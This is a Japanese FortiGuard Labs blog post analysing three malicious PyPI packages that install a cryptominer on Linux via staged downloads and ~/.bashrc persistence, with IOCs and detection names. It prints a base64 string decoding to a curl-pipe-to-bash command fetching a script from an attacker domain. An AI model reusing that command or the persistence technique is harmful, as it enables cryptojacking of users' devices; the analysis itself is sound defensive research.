FortiGuard Labs 脅威リサーチ

LinuxデバイスにCoinMinerを展開する3つの新しい不正PyPIパッケージ

投稿者 Gabby Xiong | 2024年1月19日
投稿者 Gabby Xiong | 2024年1月19日

影響を受けるプラットフォーム: Linux
影響を受けるユーザー:     該当する不正パッケージをインストールしているLinuxユーザー
影響:             デバイスパフォーマンスの低下
深刻度:            

2023年12月5日、FortiGuardのAI活用OSSマルウェア検知システムは、3つの興味深いPyPI(Python Package Index)パッケージを発見しました。これらのパッケージは、Linuxデバイスでの初回使用時にCoinMinerの実行ファイルを展開します。FortiGuard Labsは過去のマルウェアデータベースを利用して、これらのパッケージのIOC(Indicators of Compromise:侵害指標)に、同年9月に発見された「culturestreak」PyPIパッケージとの類似点があることを特定しました。「culturestreak」の攻撃パターンの概要は、すでにCheckmarxのブログで紹介されています。本ブログでは、「culturestreak」との類似点とそこから進化した点を中心に、これら3つの新型パッケージの攻撃ステージを分析していきます。

3つの不正パッケージの名前はmodularseven-1.0、driftme-1.0、catme-1.0です。パッケージはすべて「sastra」という同じ作成者から発信されています。sastraは最初の不正パッケージをアップロードする直前に、PyPIアカウントを作成していました。

図1:作成者のPyPIアカウント

攻撃ステージ

すべてのパッケージで同じ攻撃手法が使用されているため、ここではdriftme-1.0を例にとって攻撃ステージを解説します。これらのパッケージは、過去の「culturestreak」パッケージの手法を踏襲しており、不正なコードをリモートURLでホストすることでペイロードを隠蔽し、コードを検知されにくくしています。ペイロードはその後、各ステージで段階的に展開され、不正な活動を実行します。

不正な活動は、__init__.pyファイル内の「import」ステートメントによってトリガーされます。

図2:driftme-1.0/driftme/__init__.py

processor.pyモジュールには、不正なペイロードの第1ステージが含まれています。

図3:processor.py

processing() 関数を呼び出すことで、以下の文字列がシェルコマンドにデコードされます。

Y3VybCBodHRwczovL3BhcGljdWxvLm5ldC91bm1pLnNoIHwgYmFzaA==

このシェルコマンドは、curlを使用して所定のURLからコンテンツを取得します。次に、そのコンテンツをBashシェルにパイプで直接渡し、Bashシェルが以下のスクリプトを実行します。

図4:デコードされたbase64文字列

「unmi.sh」スクリプトを調べると、不正なペイロードの第2ステージが含まれていることがわかりました。

図5:unmi.sh

攻撃者は「unmi.sh」スクリプトを利用して、ユーザーのデバイスに2つの重要なアイテムをダウンロードします。

1つ目のアイテムは「config.json」です。これは、インストールされるプログラムの実行に必要なコンフィグレーションファイルです。このファイルには、暗号通貨マイニングの設定が記述されています。具体的には、マイニングアルゴリズム(randomX)、マイニング処理のためのデバイスリソースの設定、所定のマイニング「プール」、受取人のウォレットアカウントなどが指定されています。注目すべきは、攻撃者が「init-avx2」機能を無効にしている点です。これは恐らく、旧式のデバイスとの互換性を維持するためと思われます。

図6:マイニングアルゴリズムとデバイスリソースの設定

図7:マイニングプールの設定

2つ目の重要なペイロードコンポーネントは、CoinMinerの実行ファイルです。

コンフィグレーションファイルと同様に、この実行ファイルも次のリモートアドレスでホストされています。

hxxps://gitlab.com/ajo9082734/Mine/-/raw/main/X

リモートURLから実行ファイルがダウンロードされ、実行可能としてマークされると、攻撃者は「nohup」コマンドを使ってバックグラウンドでそのファイルを実行します。これにより、セッションが終了してもこのプロセスは継続されます。最も巧妙な点は、こうしたすべての改ざんが~/.bashrcファイルで行われているため、ユーザーが新しいBashシェルセッションを開始すると、必ず不正な活動が再実行されることです。

このプロセスで取得されるCoinMinerのELFファイルは、セキュリティコミュニティにとって目新しいものではありません。このファイルがVirusTotal(VT)に初めてアップロードされたのは2021年です。VTでは現在、多数のベンダーがこのペイロードを不正なファイルとして認識しています。

図8:ダウンロードした実行ファイルに対するVirusTotalのスキャン結果

「culturestreak」との比較

類似点:

このブログで取り上げた3つのパッケージは、IOCが「culturestreak」とよく似ています。

  • 実行ファイルを実行するためのコンフィグレーションファイルは、「papiculo.net」ドメインでホストされます。
  • コインマイニングの実行ファイルは、公開されたGitLabリポジトリでホストされます。攻撃者のブログで不正な実行ファイルをホストしていたアカウント「Aldri Terakhir(@aldriterakhir、ユーザーID:12350673)」は、これら3つのサンプルが公開されるまでに遮断されました。ただし同じ攻撃者が、そのアカウントからすべてのコンテンツを新規アカウント「Zela Najo(@zelanajo、ユーザーID:15638540)」に移動した可能性はあります。
図9:「culturestreak」パッケージの主要不正ファイル。「driftme」パッケージの主要不正ファイルと比べて不審な点が目立つ。

進化した点:

「culturestreak」と比較すると、3つのパッケージは存在の隠蔽、および不正機能の持続の両面で戦略が強化されています。重要な強化点は、ステージが追加され、リモートサーバーの「unmi.sh」ファイルに不正操作のコマンドが保存されるようになったことです。この戦術によってPyPIパッケージ内のコードが最小化されるため、セキュリティソリューションによる検知を回避できる確率が高まります。また、「unmi.sh」スクリプトをホストしているサーバーを無効にするだけで、不正なコードの発覚を抑制することもできます。

加えて、このマルウェアは不正なコマンドを~/.bashrcファイルに挿入します。そのため、ユーザーのデバイスでマルウェアの永続化と再実行が可能になり、不正操作の継続時間を延長することができます。この戦略により、ユーザーのデバイスを攻撃者の利益のために長期間かつ気づかれずに悪用できるようになります。

結論

これら3つのパッケージで確認された顕著な特徴は、悪用のプロセスを隠蔽し長期化させるために、攻撃者が戦略を継続的に改良している点です。このブログで取り上げた基本戦術では、不正なワークフロー全体を小さなステージに分割し、それらを段階的に展開しています。セキュリティコミュニティでは、かすかな不正の兆候を察知する機能が重要になってきています。

さらにこの機能は、未確認または不審な発信元から届いたコードやパッケージを徹底的に検査し、想定される脅威について十分な情報を得ることの重要性を喚起する役目も果たします。

フォーティネットのソリューション

FortiGuardアンチウイルスは、このレポートで特定した悪意のあるファイルを、以下の不正プログラムとして検知します。

unmi.sh: Linux/Agent.4EFF!tr
modularseven-1.0/modularseven/processor.py: Python/Agent.5337!tr
driftme-1.0/driftme/processor.py: Python/Agent.5337!tr
catme-1.0/catme/processor.py: Python/Agent.5337!tr
tmp/X: Riskware/CoinMiner

FortiGuardアンチウイルスサービスは、FortiGate、FortiMail、FortiClient、FortiEDRによってサポートされます。最新のアンチウイルスアップデートをお使いのお客様は、脅威から保護されています。

FortiGuard Webフィルタリングサービスは、このレポートで取り上げたダウンロードURLを「不正」として検知しブロックします。

FortiDevSec SCAスキャナは、このレポートで解説したパッケージも含め、不正なパッケージを検知します。ユーザーのプロジェクトのテストフェーズでは、これらのパッケージが依存関係として機能する可能性があり、FortiDevSec SCAスキャナはそうした依存関係がユーザーの製品に影響するのを防ぎます。

組織が上記の不正パッケージやその他のサイバーセキュリティ攻撃を受けていると思われる場合は、フォーティネットのグローバルFortiGuardインシデントレスポンスチームまでご連絡ください。

IOC(Indicators of Compromise:侵害指標)

unmi.sh

070128a5b4e1aecb61b59f3f8ef2602e63cd1e5357f1314080a7c8a4960b0bee

modularseven-1.0/modularseven/processor.py

4b439d8cabc5e4ad593a26065e6d374efdddf41c8d91744b077a69812df170d2

driftme-1.0/driftme/processor.py        

687fb012479e563be63e02718eb7be7ee81974193c952777ca94234c95b25115

catme-1.0/catme/processor.py            

235b1ad3d21e7330d421c9a03b6b822fcdddacaa707bed9d67dabd43d4401fc6

tmp/X

df0211bf54174b5766366eecfb0a04c4a59346478e1507b6685fbaed6b2d2aca

XLM:GA2DR34VWSXPIE2JFDUZFEIROMXRFYUYNB2XD5JWKPD2TWELUJQZ4WCW.WORKER

不正なURL

hxxps[:]//papiculo[.]net/unmi[.]sh
hxxps[:]//papiculo[.]net/unmiconfig[.]json
hxxps[:]//gitlab[.]com/ajo9082734/Mine/-/raw/main/X